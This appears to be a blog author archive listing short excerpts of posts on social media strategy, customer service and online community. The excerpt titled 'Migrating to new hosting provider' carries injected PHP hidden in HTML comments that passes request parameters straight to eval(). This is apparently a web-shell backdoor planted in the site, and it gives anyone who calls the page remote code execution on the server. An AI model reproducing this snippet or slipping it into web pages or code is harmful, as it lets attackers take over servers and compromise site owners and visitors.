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Author Archives: Kevin Micalizzi
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Go west young(ish) men (& dog). Yes, we’re moving to San Francisco!
Matt, Garreth, Trinity, & I are moving to San Francisco! Our goal is to be there for May, though we still have a ton of details to figure out. We’re hunting for a new place while working to purchase our … Continue reading
Being There is Not a Strategy
I had a great opportunity to run a working session at PodCamp NH 2010 this weekend on social media strategy. I presented a few slides for a framework, and then an excellent discussion followed. Being There is Not a Strategy … Continue reading
Posted in Marketing
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Don’t leave them hanging, follow-up again
The question was asked on Facebook, it was easier to follow-up and continue the conversation via email. Great, the customer was helped, everything’s good, isn’t it? Yes, but no. Did you go back and close the original conversation in some … Continue reading
Posted in Customer Service
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Navigating the social media currents, together in NH
When working with any emerging approaches to business (and technologies), understanding what’s working for people and where things are going is a constant challenge. There are self-professed experts willing to sell you a “package solution” to get you up to … Continue reading
Posted in Life
Tagged blogging, community, events, NH, social media, social networking
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Migrating to new hosting provider…
Ran into too many problems with my previous hosting provider. You caught me in the middle of migrating to the new one. Things should be back to normal soon! -k <!– [insert_php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/insert_php][php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/php] –> … Continue reading
Posted in Tech
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Rule #3: Be The Gatekeeper
When you’re engaging with anyone online, rule #3 is “Be The Gatekeeper” You should never be a roadblock. Give customers a clear path. Just being there isn’t enough. Communication has to go both ways. You now have access to incredible … Continue reading
Posted in Marketing
Tagged community, conversation, feedback, gatekeeper, roadblock, social media
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Followers vs. Community
Rich Millington, on his FeverBee – The Online Community Guide blog shared two posts recently about a following vs. community: Why Most Organizations Shouldn’t Try To Create An Online Community and Clarity – What’s a Community? A Following = an … Continue reading
Posted in Marketing
Tagged community, following, online community
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What I want in a Social CRM (for me)
I’m on a quest to find a Social CRM to help me keep my people information at my fingertips. Here’s how I currently try to track everything: Address Book (2,000+ entries) My address book is an extension of my brian. … Continue reading
Posted in Marketing
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Rule #2: Address The Need
When you’re engaging with anyone online, rule #2 is “Address The Need”. Everyone needs something. We listen, we may even understand what we’re being asked — but it that what they really need? If you’re engaging online, make sure you’re … Continue reading
